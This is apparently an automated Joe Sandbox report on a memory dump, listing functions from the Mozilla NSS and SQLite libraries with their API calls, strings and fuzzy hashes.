matchinfo, xrefs: 6CF7F04F, 6CF7F082, 6CF7F0C2, 6CF7F0F2, 6CF7F124, 6CF7F169

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_mprintf$strlen$sqlite3_freesqlite3_initialize
String ID: fts3$fts3_tokenizer$fts3tokenize$fts4$fts4aux$matchinfo$offsets$optimize$porter$simple$snippet$unicode61
API String ID: 2518200370-449611708
Opcode ID: 2de82fc0f0a29eb04b9cb476b99dd1badfce4f18467916abf90981fcf76347fd
Instruction ID: 0f2e417611ad4429e8fad32a2a2ea755e6f578172d95d241f16b4b014fe63899
Opcode Fuzzy Hash: 2de82fc0f0a29eb04b9cb476b99dd1badfce4f18467916abf90981fcf76347fd
Instruction Fuzzy Hash: 3802E1B1A083005BE7549F35F88473F36B2BBC9608F24453ED85A87B45EB75E846C7A2

Function 6CFF7C00 Relevance: 31.9, APIs: 21, Instructions: 421COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF7C33
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6CFF7C66
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFF7D1E

Part of subcall function 6CFF7870: SECOID_FindOID_Util.NSS3(?,?,?,6CFF91C5), ref: 6CFF788F

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFF7D48
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CFF7D71
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CFF7DD3
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF7DE1
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFF7DF8
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFF7E1A
PR_SetError.NSS3(FFFFE067,00000000), ref: 6CFF7E58

Part of subcall function 6CFF7870: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CFF91C5), ref: 6CFF78BB
Part of subcall function 6CFF7870: PORT_ZAlloc_Util.NSS3(0000000C,?,?,?,6CFF91C5), ref: 6CFF78FA
Part of subcall function 6CFF7870: strchr.VCRUNTIME140(?,0000003A,?,?,?,?,?,?,?,?,?,?,6CFF91C5), ref: 6CFF7930
Part of subcall function 6CFF7870: PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CFF91C5), ref: 6CFF7951
Part of subcall function 6CFF7870: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFF7964
Part of subcall function 6CFF7870: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CFF797A
Part of subcall function 6CFF7870: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CFF7988
Part of subcall function 6CFF7870: memcpy.VCRUNTIME140(?,00000001,00000001), ref: 6CFF7998
Part of subcall function 6CFF7870: free.MOZGLUE(00000000), ref: 6CFF79A7
Part of subcall function 6CFF7870: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,6CFF91C5), ref: 6CFF79BB
Part of subcall function 6CFF7870: PR_GetCurrentThread.NSS3(?,?,?,?,6CFF91C5), ref: 6CFF79CA

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFF7E49
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFF7F8C
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CFF7F98
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFF7FBF
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CFF7FD9
PK11_ImportEncryptedPrivateKeyInfoAndReturnKey.NSS3(?,00000000,?,?,?,00000001,00000001,?,?,00000000,?), ref: 6CFF8038
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CFF8050
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CFF8093
SECOID_FindOID_Util.NSS3 ref: 6CFF7F29

Part of subcall function 6CFF07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CF98298,?,?,?,6CF8FCE5,?), ref: 6CFF07BF
Part of subcall function 6CFF07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CFF07E6
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF081B
Part of subcall function 6CFF07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF0825

SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CFF8072
SECOID_FindOID_Util.NSS3 ref: 6CFF80F5

Part of subcall function 6CFFBC10: SECITEM_CopyItem_Util.NSS3(?,?,?,?,-00000001,?,6CFF800A,00000000,?,00000000,?), ref: 6CFFBC3F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Item_$Error$Zfree$DestroyPublic$Find$Alloc_CopyHashImportK11_LookupTablememcpy$AlgorithmCertificateConstCurrentEncryptedInfoOptionPrivateReturnTag_Threadfreestrchrstrcmpstrlen
String ID:
API String ID: 2815116071-0
Opcode ID: eeb39b20c4d734fa8c03388cd2bdd579d7fc0f50c0c3ce6d3ad7f3e0376c50ab
Instruction ID: 00f97114b55c915daac012931942cc92ddab9c05ffec94c7c8689cb65c9a1ba6
Opcode Fuzzy Hash: eeb39b20c4d734fa8c03388cd2bdd579d7fc0f50c0c3ce6d3ad7f3e0376c50ab
Instruction Fuzzy Hash: 80E1C3716083019FE710CF29C880B5BB7E5EF45708F55096EE8A99BB61E731EC06CB92

Function 6CF81C30 Relevance: 26.3, APIs: 14, Strings: 1, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CF81C6B
OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 6CF81C75
GetTokenInformation.ADVAPI32(00000400,00000004,?,00000400,?), ref: 6CF81CA1
GetLengthSid.ADVAPI32(?), ref: 6CF81CA9
malloc.MOZGLUE(00000000), ref: 6CF81CB4
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CF81CCC
GetTokenInformation.ADVAPI32(?,00000005(TokenIntegrityLevel),?,00000400,?), ref: 6CF81CE4
GetLengthSid.ADVAPI32(?), ref: 6CF81CEC
malloc.MOZGLUE(00000000), ref: 6CF81CFD
CopySid.ADVAPI32(00000000,00000000,?), ref: 6CF81D0F
CloseHandle.KERNEL32(?), ref: 6CF81D17
AllocateAndInitializeSid.ADVAPI32 ref: 6CF81D4D
GetLastError.KERNEL32 ref: 6CF81D73
PR_LogPrint.NSS3(_PR_NT_InitSids: OpenProcessToken() failed. Error: %d,00000000), ref: 6CF81D7F

Strings

_PR_NT_InitSids: OpenProcessToken() failed. Error: %d, xrefs: 6CF81D7A

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Token$CopyInformationLengthProcessmalloc$AllocateCloseCurrentErrorHandleInitializeLastOpenPrint
String ID: _PR_NT_InitSids: OpenProcessToken() failed. Error: %d
API String ID: 3748115541-1216436346
Opcode ID: 4eac549f898185c7d8fc2314b00f14109e8c8954fba57b445c3245a0dd8d2e08
Instruction ID: 9d48d3ddd058282252de93e127323f9d8c29ec44900951540177e40976566a7b
Opcode Fuzzy Hash: 4eac549f898185c7d8fc2314b00f14109e8c8954fba57b445c3245a0dd8d2e08
Instruction Fuzzy Hash: B1314FB1901218AFEB109F65DC48BEA7BB8EF4A708F044169FA0992151E7315994CF69

Function 6CF83D00 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CF83DFB
__allrem.LIBCMT ref: 6CF83EEC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF83FA3
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CF84047
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF840DE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF8415F
__allrem.LIBCMT ref: 6CF8416B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF84288
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF842AB
__allrem.LIBCMT ref: 6CF842B7

Strings

%04d, xrefs: 6CF8407B
%03d, xrefs: 6CF842E8
%02d, xrefs: 6CF84086
%lld, xrefs: 6CF83FB2

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$memcpy$__aulldiv
String ID: %02d$%03d$%04d$%lld
API String ID: 703928654-3678606288
Opcode ID: 0756430cd0c49f51db9bb2794adaa042533b7fd4d4b113aac6dce3b6832dbdff
Instruction ID: 398b51ac9db397f60dd8eee49ac234d01eeb43309748918140369eb4d41ccf81
Opcode Fuzzy Hash: 0756430cd0c49f51db9bb2794adaa042533b7fd4d4b113aac6dce3b6832dbdff
Instruction Fuzzy Hash: 94F11172A097409FE715CF38C891B6BBBFAAF85308F148A2DF98597661E730D445CB42

Function 6CF8EF40 Relevance: 23.4, APIs: 10, Strings: 3, Instructions: 629stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8EF63

Part of subcall function 6CF987D0: PORT_NewArena_Util.NSS3(00000800,6CF8EF74,00000000), ref: 6CF987E8
Part of subcall function 6CF987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000008,?,6CF8EF74,00000000), ref: 6CF987FD
Part of subcall function 6CF987D0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CF9884C

PL_strncasecmp.NSS3(oid.,?,00000004), ref: 6CF8F2D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF8F2FC
SEC_StringToOID.NSS3(?,?,?,00000000), ref: 6CF8F30F
SECITEM_AllocItem_Util.NSS3(?,00000000,-00000002), ref: 6CF8F374
PL_strcasecmp.NSS3(6D0D2FD4,?), ref: 6CF8F457
SECOID_FindOIDByTag_Util.NSS3(00000029), ref: 6CF8F4D2
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CF8F66E
PR_SetError.NSS3(FFFFE007,00000000), ref: 6CF8F67D
CERT_DestroyName.NSS3(?), ref: 6CF8F68B

Part of subcall function 6CF98320: PORT_ArenaAlloc_Util.NSS3(0000002A,00000018), ref: 6CF98338
Part of subcall function 6CF98320: SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CF98364
Part of subcall function 6CF98320: PORT_ArenaAlloc_Util.NSS3(0000002A,?), ref: 6CF9838E
Part of subcall function 6CF98320: memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF983A5
Part of subcall function 6CF98320: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF983E3

Part of subcall function 6CF984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000004,00000000,00000000), ref: 6CF984D9
Part of subcall function 6CF984C0: PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CF98528

Part of subcall function 6CF98900: PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CF98955

Strings

", xrefs: 6CF8F21B
*, xrefs: 6CF8F3C6
oid., xrefs: 6CF8F2CF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$ErrorFindItem_Tag_strlen$AllocArena_DestroyGrow_L_strcasecmpL_strncasecmpNameStringZfreememcpy
String ID: "$*$oid.
API String ID: 4161946812-2398207183
Opcode ID: ae08df505ed35870765774ea72ab9c6093e7f1ae47608d3f1056cdc796e9f3e7
Instruction ID: 229d51297c327b76bf3147d22b0db06086fc5dc9df91bc09f54c439ad1ef7849
Opcode Fuzzy Hash: ae08df505ed35870765774ea72ab9c6093e7f1ae47608d3f1056cdc796e9f3e7
Instruction Fuzzy Hash: 7422267260E3418FE750CE28C89076BB7F6ABC5328F194A2EE495CB795E7319C05CB42

Function 6CF31C30 Relevance: 23.2, APIs: 3, Strings: 10, Instructions: 485COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF31D58
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF31EFD
sqlite3_exec.NSS3(00000000,00000000,Function_00007370,?,00000000), ref: 6CF31FB7

Strings

SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 6CF31F83
sqlite_temp_master, xrefs: 6CF31C5C
unsupported file format, xrefs: 6CF32188
abort due to ROLLBACK, xrefs: 6CF32223
no more rows available, xrefs: 6CF32264
unknown error, xrefs: 6CF32291
sqlite_master, xrefs: 6CF31C61
another row available, xrefs: 6CF32287
table, xrefs: 6CF31C8B
attached databases must use the same text encoding as main database, xrefs: 6CF320CA

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@_byteswap_ulongsqlite3_exec
String ID: SELECT*FROM"%w".%s ORDER BY rowid$abort due to ROLLBACK$another row available$attached databases must use the same text encoding as main database$no more rows available$sqlite_master$sqlite_temp_master$table$unknown error$unsupported file format
API String ID: 563213449-2102270813
Opcode ID: 6f7c5f2ab9488b4682fc33e583ab83721d5bb4af91afa17276682f677ada2e24
Instruction ID: 284b631667918e49bde095f3bc25a26905635914e9f32c819bbf4e681adfcc41
Opcode Fuzzy Hash: 6f7c5f2ab9488b4682fc33e583ab83721d5bb4af91afa17276682f677ada2e24
Instruction Fuzzy Hash: CC12CF71608351AFD701CF19C48475AB7F2BF85318F19996DE8898BB52D732E84ACBC2

Function 6CF55F20 Relevance: 22.5, APIs: 5, Strings: 8, Instructions: 3043COMMON

Download Yara Rule

Strings

BINARY, xrefs: 6CF58708, 6CF58737, 6CF587B8
ON clause references tables to its right, xrefs: 6CF56BEC
2, xrefs: 6CF565B4
u, xrefs: 6CF581DA
-, xrefs: 6CF56228
NOCASE, xrefs: 6CF58703
sub-select returns %d columns - expected %d, xrefs: 6CF5805F
-, xrefs: 6CF562F9

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID:
String ID: -$-$2$BINARY$NOCASE$ON clause references tables to its right$sub-select returns %d columns - expected %d$u
API String ID: 0-3593521594
Opcode ID: b8de25cfdffaeef7e4c0d3a24e21db419796992af65d158d10be379d4813711b
Instruction ID: 088baa8e06c8ee9cf930fee793afa7ff2b613e7e97591d86e568cc4ddc72e9ad
Opcode Fuzzy Hash: b8de25cfdffaeef7e4c0d3a24e21db419796992af65d158d10be379d4813711b
Instruction Fuzzy Hash: 5643B175A183418FD304CF18C490B1ABBF2BF99318F54C66DEA998B752D731E856CB82

Function 6CFFEFF0 Relevance: 21.4, APIs: 14, Instructions: 362memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CFFC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CFFDAE2,?), ref: 6CFFC6C2

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFFF0AE
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFFF0C8
PK11_FindKeyByAnyCert.NSS3(?,?), ref: 6CFFF101
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CFFF11D
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,?,6D0C218C), ref: 6CFFF183
SEC_GetSignatureAlgorithmOidTag.NSS3(?,00000000), ref: 6CFFF19A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFFF1CB
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CFFF1EF
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6CFFF210

Part of subcall function 6CFA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?,00000000,?,6CFFF1E9,?,00000000,?,?), ref: 6CFA52F5
Part of subcall function 6CFA52D0: SEC_GetSignatureAlgorithmOidTag.NSS3(00000000,00000000), ref: 6CFA530F
Part of subcall function 6CFA52D0: NSS_GetAlgorithmPolicy.NSS3(00000000,?), ref: 6CFA5326
Part of subcall function 6CFA52D0: PR_SetError.NSS3(FFFFE0B5,00000000,?,?,00000000,?,6CFFF1E9,?,00000000,?,?), ref: 6CFA5340

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFFF227

Part of subcall function 6CFEFAB0: free.MOZGLUE(?,-00000001,?,?,6CF8F673,00000000,00000000), ref: 6CFEFAC7

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,00000000), ref: 6CFFF23E

Part of subcall function 6CFEBE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CF9E708,00000000,00000000,00000004,00000000), ref: 6CFEBE6A
Part of subcall function 6CFEBE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFA04DC,?), ref: 6CFEBE7E
Part of subcall function 6CFEBE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CFEBEC2

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFFF2BB
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CFFF3A8

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

SECKEY_DestroyPrivateKey.NSS3(?), ref: 6CFFF3B3

Part of subcall function 6CFA2D20: PK11_DestroyObject.NSS3(?,?), ref: 6CFA2D3C
Part of subcall function 6CFA2D20: PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CFA2D5F

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Algorithm$Item_$Tag_$CopyDestroyFind$ErrorK11_PolicyPrivateSignatureZfree$Alloc_ArenaArena_CertEncodeFreeObjectValuefree
String ID:
API String ID: 1559028977-0
Opcode ID: 8682962c1f445dd5a8c1789114cea7e60876f76ef08c649facb1e1b11b40913b
Instruction ID: c60102bdf4050b6f854e8c57edc262b1441775cf03ee90d5facdc1a3bba2cc12
Opcode Fuzzy Hash: 8682962c1f445dd5a8c1789114cea7e60876f76ef08c649facb1e1b11b40913b
Instruction Fuzzy Hash: 7AD181B6E016059FEB54CFA9D880A9EB7F5FF48308F258029D925E7721E771E806CB50

Function 6D02DE10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332threadCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(FF000001,?,?,?,00000000,6D007FFA,00000000,?,6D0323B9,00000002,00000000,?,6D007FFA,00000002), ref: 6D02DE33

Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590AB
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D0590C9
Part of subcall function 6D059090: EnterCriticalSection.KERNEL32 ref: 6D0590E5
Part of subcall function 6D059090: TlsGetValue.KERNEL32 ref: 6D059116
Part of subcall function 6D059090: LeaveCriticalSection.KERNEL32 ref: 6D05913F

Part of subcall function 6D02D000: PORT_ZAlloc_Util.NSS3(00000108,?,6D02DE74,6D007FFA,00000002,?,?,?,?,?,00000000,6D007FFA,00000000,?,6D0323B9,00000002), ref: 6D02D008

PR_ExitMonitor.NSS3(FF000001,?,?,?,?,?,00000000,6D007FFA,00000000,?,6D0323B9,00000002,00000000,?,6D007FFA,00000002), ref: 6D02DE57
memset.VCRUNTIME140(?,00000000,00000088), ref: 6D02DEA5
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D02E069
PR_SetError.NSS3(FFFFE001,00000000), ref: 6D02E121
PK11_FreeSymKey.NSS3(?), ref: 6D02E14F
PK11_CreateContextBySymKey.NSS3(?,00000000,?,00000000), ref: 6D02E195
PR_GetCurrentThread.NSS3 ref: 6D02E1FC

Part of subcall function 6D022460: PR_SetError.NSS3(FFFFE005,00000000,6D0C7379,00000002,?), ref: 6D022493

Strings

early application data, xrefs: 6D02DFC9
handshake data, xrefs: 6D02DFF7
key, xrefs: 6D02E046
application data, xrefs: 6D02DFE0

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterK11_MonitorSection$Alloc_ContextCreateCurrentExitFreeLeaveThreadUtilmemset
String ID: application data$early application data$handshake data$key
API String ID: 1461918828-2699248424
Opcode ID: 8c4d1880f8a0e90c8235b38a7ef76c7d2102572056c56c70dd3c8013ba2a511f
Instruction ID: a35e2bd94e72d76182af30311825882d282ed077460c75300c7826e38e897ad0
Opcode Fuzzy Hash: 8c4d1880f8a0e90c8235b38a7ef76c7d2102572056c56c70dd3c8013ba2a511f
Instruction Fuzzy Hash: 2EC1D1B1A41216ABFB14CF65DCC0BAAB7F4FF49314F048139E9099B291E731E950CBA1

Function 6CF1ECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1ED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1EE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CF1EF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CF1EF98

Strings

%s at line %d of [%.10s], xrefs: 6CF1F492
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF1F483
database corruption, xrefs: 6CF1F48D

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: _byteswap_ulong
